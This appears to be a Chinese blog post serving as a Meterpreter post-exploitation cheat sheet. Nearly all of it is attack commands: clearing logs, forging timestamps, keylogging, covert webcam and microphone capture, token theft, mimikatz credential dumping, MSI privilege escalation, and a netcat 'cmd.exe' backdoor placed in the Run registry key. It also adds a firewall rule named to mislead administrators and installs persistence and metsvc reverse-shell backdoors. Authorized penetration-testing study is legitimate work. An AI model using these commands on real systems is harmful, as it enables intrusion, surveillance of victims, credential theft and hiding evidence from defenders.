• 【kali-漏洞利用】(3.3)后渗透之Meterpreter(上):命令大全


    目录

    一、简介

    1.1、概述:

    1.2、Meterpreter

    1.3、优点:

    1.4、常用命令:

    二、使用

    2.1、进程迁移:

    2.2、系统命令:

    基础命令:

    cmd命令

    webcam摄像头命令

    uictl开关键盘/鼠标

    execute执行文件

    clearev清除日志

    2.3、文件系统命令

    基本文件系统命令

    timestomp伪造时间戳

    2.4、网络命令

    基本网络命令

    portfwd端口转发

    autoroute添加路由

    2.5、信息收集

    键盘记录

    sniffer抓包

    窃取令牌

    网络摄像头

    截屏

    2.6、提权

    getsystem提权

    利用AlwaysInstallElevated提权

    2.7、窃取hash及密码

    mimikatz

    kiwi

    2.8、注册表操作

    基本命令

    利用注册表添加nc后门

    2.9、后门植入

    Persistence(通过启动项安装)

    Metsvc(通过服务安装)


    一、简介

    1.1、概述:

    获取目标机的Meterpreter Shell后,就进入了Metasploit的后期渗透利用阶段,后期渗透模块有200多个


    使用 metasploit 渗透完成后,需要进行后渗透拿下目标主机,再进行一系列获取敏感信息、利用这台机器为跳板机做其他主机的攻击等,主要使用的是 metasploit 中的 post 模块,也就是后渗透模块

    1.2、Meterpreter

    Metasploit提供一个强大的后渗透工具——Meterpreter

    是 Metasploit 框架中的一个扩展模块,作为后渗透阶段的攻击载荷使用,在后渗透阶段具有强大的攻击力,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个 meterpreter shell链接


    Meterpreter shell 作为渗透模块有很多有用的功能,包含信息收集、 提 权 、注册表操作、令牌操纵、哈希利用、后门植入。

    1.3、优点:

    总:易于隐藏


    不需要对磁盘进行任何写入操作,因此 HIDS(基于主机的入侵检测系统)很难对它做出响应

    使用加密通信协议,而且可以同时与几个信道通信

    在被攻击进程内工作,不需要创建新的进程

    易于在多进程之间迁移

    平台通用

    简化任务创建多个会话,利用会话进行渗透

    运行的时候系统时间是变化的,跟踪它、终止它非常困难

    1.4、常用命令:

    help: 查看帮助信息

    background:在后台Meterpreter会话

    download: 从入侵主机上下载文件
    upload: 上传文件到入侵主机
    execute: 在入侵主机上执行命令
    shell: 在入侵主机上(仅Windows)运行Windows shell命令
    session -i: 切换会话



    二、使用

    2.1、进程迁移:

    刚获得Meterpreter Shell,Shell是极其脆弱的,要把Shell和目标机中稳定的进程绑定在一起

    eg:利用浏览器漏洞攻陷目标机器,浏览器在一段时间后可能被用户关闭

    1. ps #查看当前活跃进程
    2. getpid #获取当前进程pid
    3. migrate #将Meterpreter会话移植到指定pid值进程中
    4. kill #杀死进程

    2.2、系统命令:

    基础命令:

    1. shell #进入目标机cmd shell
    2. background #将当前会话放置后台
    3. sessions #sessions -h 查看帮助
    4. sessions -i #进入会话 -k 杀死会话
    5. bgrun / run #执行已有的模块,输入run后按两下tab,列出已有的脚本
    6. info #查看已有模块信息
    7. getuid #查看当前用户身份
    8. getprivs #查看当前用户具备的权限
    9. getpid #获取当前进程ID(PID)
    10. sysinfo #查看目标机系统信息
    11. irb #开启ruby终端
    12. ps #查看正在运行的进程
    13. kill #杀死指定PID进程
    14. idletime #查看目标机闲置时间
    15. reboot / shutdown #重启/关机

    cmd命令

    1. whoami #当前权限
    2. quser #当前在线的管理员
    3. net user #存在用户
    4. net user 用户名 密码 /add #添加用户和对应密码
    5. net localgroup 用户组名 用户名 /add #将指定用户添加到指定用户组
    6. netstat -ano #查询当前计算机中网络连接通信情况,LISTENING表示该端口处于监听状态;ESTABLISHED表示该端口处于工作(通信)状态
    7. systeminfo #查看当前计算机中的详细情况
    8. tasklist /svc #查看每个进程所对应的服务
    9. taskkill /f /im 程序名称 #结束某个指定名称的程序
    10. taskkill /f /PID ID #结束某个指定PID的进程
    11. tasklist | findstr "字符串" #查找输出结果中指定的内容
    12. netsh adcfirewall set allprofiles state off #关闭防火墙
    13. logoff #注销某个指定用户的ID
    14. shutdown -r #重启当前计算机

    ​​​​​​​webcam摄像头命令

    1. webcam_list #查看摄像头
    2. webcam_snap #通过摄像头拍照
    3. webcam_stream #通过摄像头开启视频

    uictl开关键盘/鼠标

    1. uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标
    2. uictl disable mouse #禁用鼠标
    3. uictl disable keyboard #禁用键盘

    execute执行文件

    1. execute #在目标机中执行文件
    2. execute -H -i -f cmd.exe #创建新进程cmd.exe,-H不可见,-i交互
    3. execute -H -m -d notepad.exe -f payload.exe -a "-o hack.txt"
    4. #-d 在目标主机执行时显示的进程名称(用以伪装)-m 直接从内存中执行
    5. #"-o hack.txt"是payload.exe的运行参数

    clearev清除日志

    clearev    #清除windows中的应用程序日志、系统日志、安全日志
    

    2.3、文件系统命令

    基本文件系统命令

    1. ls #列出当前目录中的文件列表
    2. cd #进入指定目录
    3. getwd / pwd #查看当前工作目录
    4. search -d c:\\ -f *.txt #搜索文件 -d 目录 -f 文件名
    5. cat c:\\123.txt #查看文件内容
    6. upload /tmp/hack.txt C:\\ #上传文件到目标机上
    7. download c:\\123.txt /tmp/ #下载文件到本机上
    8. edit c:\\test.txt #编辑或创建文件 没有的话,会新建文件
    9. rm C:\\hack.txt #删除文件
    10. mkdir admin #只能在当前目录下创建文件夹
    11. rmdir admin #只能删除当前目录下文件夹
    12. getlwd / lpwd #查看本地当前目录
    13. lcd /tmp #切换本地目录

    timestomp伪造时间戳

    1. timestomp C:\\ -h #查看帮助
    2. timestomp -v C:\\2.txt #查看时间戳
    3. timestomp C:\\2.txt -f C:\\1.txt #将1.txt的时间戳复制给2.txt
    4. timestomp c:\\test\\22.txt -z "03/10/2019 11:55:55" -v #把四个属性设置为统一时间

    2.4、网络命令

    基本网络命令

    1. ipconfig/ifconfig #看网络接口信息
    2. netstat –ano #查看网络连接状态
    3. arp #查看arp缓冲表
    4. getproxy #查看代理信息
    5. route #查看路由表信息

    portfwd端口转发

    1. portfwd add -l 1111 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地1111端口
    2. rdesktop 127.0.0.1:1111 #需要输入用户名密码连接
    3. rdesktop -u Administrator -p 123 127.0.0.1:1111 #-u 用户名 -p 密码

    autoroute添加路由

    1. run autoroute -h #查看帮助
    2. run get_local_subnets #查看目标内网网段地址
    3. run autoroute -s 192.168.183.0/24 #添加目标网段路由
    4. run autoroute -p #查看添加的路由

    2.5、信息收集

    键盘记录

    1. keyscan_start #开始键盘记录
    2. keyscan_dump #导出记录数据
    3. keyscan_stop #结束键盘记录

    sniffer抓包

    1. use sniffer
    2. sniffer_interfaces #查看网卡
    3. sniffer_start 1 #选择网卡1开始抓包
    4. sniffer_stats 1 #查看网卡1状态
    5. sniffer_dump 1 /tmp/wlan1.pcap #导出pcap数据包
    6. sniffer_stop 1 #停止网卡1抓包
    7. sniffer_release 1 #释放网卡1流量

    窃取令牌

    1. steal_token <pid值> #从指定进程中窃取token
    2. drop_token #停止假冒当前的token

    网络摄像头

    1. record_mic  #音频录制
    2. webcam_chat #开启视频聊天(对方有弹窗)
    3. webcam_list #查看摄像头
    4. webcam_snap #通过摄像头拍照
    5. webcam_stream #通过摄像头开启视频监控(以网页形式进行监控≈直播)

    截屏

    1. screenshot #截屏
    2. use espia #使用espia模块
    3. screengrab #截屏

    2.6、提权

    getsystem提权

    1. getuid #查看已获得权限
    2. getsystem #提权

    利用AlwaysInstallElevated提权

    AlwaysInstallElevated是一个策略设置

    微软允许非授权用户以SYSTEM权限运行安装文件(MSI)

    前提:用户启用此策略,就可利用恶意的MSI文件进行管理员权限的提升

    1. 查看AlwaysInstallElevated是否被定义
    2. 前提条件,需要有两个注册表的键值为1,在cmdshell下查看是否被定义
    3. reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    4. reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    5. 如果在组策略里未定义,则会出现“错误: 系统找不到指定的注册表项或值”的提示

    开启的方法:
    1、打开组策略编辑器(运行框输入gpedit.msc)
    2、组策略---计算机配置---管理模版---Windows组件---Windows Installer---永远以高特权进行安装:选择启用
    3、组策略---用户配置---管理模版---Windows组件---Windows Installer---永远以高特权进行安装:选择启用

    (设置完成后对应注册表值会设为1,即开启AlwaysInstallElevated)

    1. 生成MSI安装文件
    2. (msf生成的msi文件,会被杀毒软件拦截,做好免杀)
    3. 利用msfvenom命令生成一个在目标机上增加管理员用户的MSI安装文件,密码设置为强密码,否则会报错
    4. msfvenom -p windows/adduser USER=msi PASS=Abc123@@ -f msi -o msi.msi
    1. 上传并执行MSI文件
    2. upload msi.msi c:\\Users\\test # 部分目录由于权限原因可能上传失败
    3. msiexec /quiet /qn /i msi.msi # /quiet=安装过程中禁止向用户发送消息 /qn=不使用图形界面 /i=安装程序
    4. net localgroup administrators
    5. net localgroup administrators
    6. (执行成功后查看管理员组发现用户已经添加成功)

    2.7、窃取hash及密码

    mimikatz

    1. load mimikatz #加载mimikatz模块
    2. msv #获取用户和hash值
    3. kerberos #获取内存中的明文密码信息
    4. wdigest #获取内存中的明文密码信息
    5. mimikatz_command -f a:: #需要以错误的模块来让正确的模块显示
    6. mimikatz_command -f sekurlsa::searchPasswords #获取用户密码
    7. mimikatz_command -f samdump::hashes #执行用户hash

    kiwi

    kiwi是利用的mimikatz扩展,运行需要SYSTEM权限

    1. load kiwi
    2. creds_all

    2.8、注册表操作

    基本命令

    1. reg –h #查看帮助
    2. -k 注册表的路径 -v 键的名称 -d 键值
    3. reg enumkey [-k <key>] #枚举注册表的内容
    4. reg createkey [-k <key>] #创建注册表项
    5. reg deletekey [-k <key>] #删除注册表项
    6. reg setval [-k <key> -v <val> -d <data>] #在注册表里添加内容
    7. reg deleteval [-k <key> -v <val>] #删除注册表的值
    8. reg queryval [-k <key> -v <val>] #查询注册表的值

    利用注册表添加nc后门

    后门程序:编辑注册表,添加nc到系统启动项中

    1. upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
    2. #上传nc到目标主机
    3. reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
    4. #枚举注册表run下的键值
    5. reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v test_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'
    6. #设置键值 -v 键的名称 -d 键值
    7. reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v test_nc
    8. #查询test_nc的键值

    设置防火墙允许通过443端口

    注:目标主机开启防火墙,但未设置相应的规则可能会导致连接失败

    1. shell
    2. netsh firewall show opmode
    3. #查看防火墙状态
    4. netsh firewall add portopening TCP 443 "网络发现(Pub PSD-Out)" ENABLE ALL
    5. #添加防火墙的规则允许443端口通过(这里“网络发现(Pub PSD-Out)”是规则名称,目的是为了迷惑管理员。)
    1. 待目标主机重启后,自启nc程序,利用nc连接
    2. nc ip port

    2.9、后门植入

    通过漏洞获取到目标主机权限之后,如果目标主机主机重启或修补了漏洞,就会失去对服务器的控制权

    需要通过植入后门来维持权限,nc后门、Persistence、Metsvc

    Persistence(通过启动项安装)

    1. run persistence –h #查看帮助
    2. run persistence -X -i 5 -p 4444 -r 192.168.183.147
    3. run persistence -U -i 5 -p 4444 -r 192.168.183.147 -L c:\\Windows\\System32
    4. -X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限原因会导致添加失败,后门无法启动。因此在非管理员权限下,不推荐使用该参数
    5. -U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
    6. -L:后门传到远程主机的位置默认为%TEMP%
    7. -i:设置反向连接间隔时间为5秒
    8. -p:设置反向连接的端口号
    9. -r:设置反向连接的ip地址

    Metsvc(通过服务安装)

    1. run metsvc -h #查看帮助
    2. run metsvc -A #自动安装后门
    3. run metsvc -r #删除后门
    4. 连接后门
    5. use exploit/multi/handler
    6. set payload windows/metsvc_bind_tcp
    7. set rhost 192.168.183.169
    8. set lport 31337
    9. run

    (注:命令来自网络)

  • 相关阅读:
    网易企业邮箱斩获双料奖项!产品实力与客户口碑双丰收!【公司邮箱怎么申请】
    Twitter 审核研究联盟 - 深入了解 Twitter 上对话的安全性和完整性。
    git 标签相关命令
    c++ noexcept与constexpr解析
    【开发环境】PX4无人机实物使用视觉或运动捕捉系统进行位置估计
    开一家咖啡店应具备什么
    注解@PostConstruct分析
    Doris开发手记4:倍速性能提升,向量化导入的性能调优实践
    容器云平台的六个最佳实践
    Flink入门系列05-时间语义
  • 原文地址:https://blog.csdn.net/qq_53079406/article/details/126179710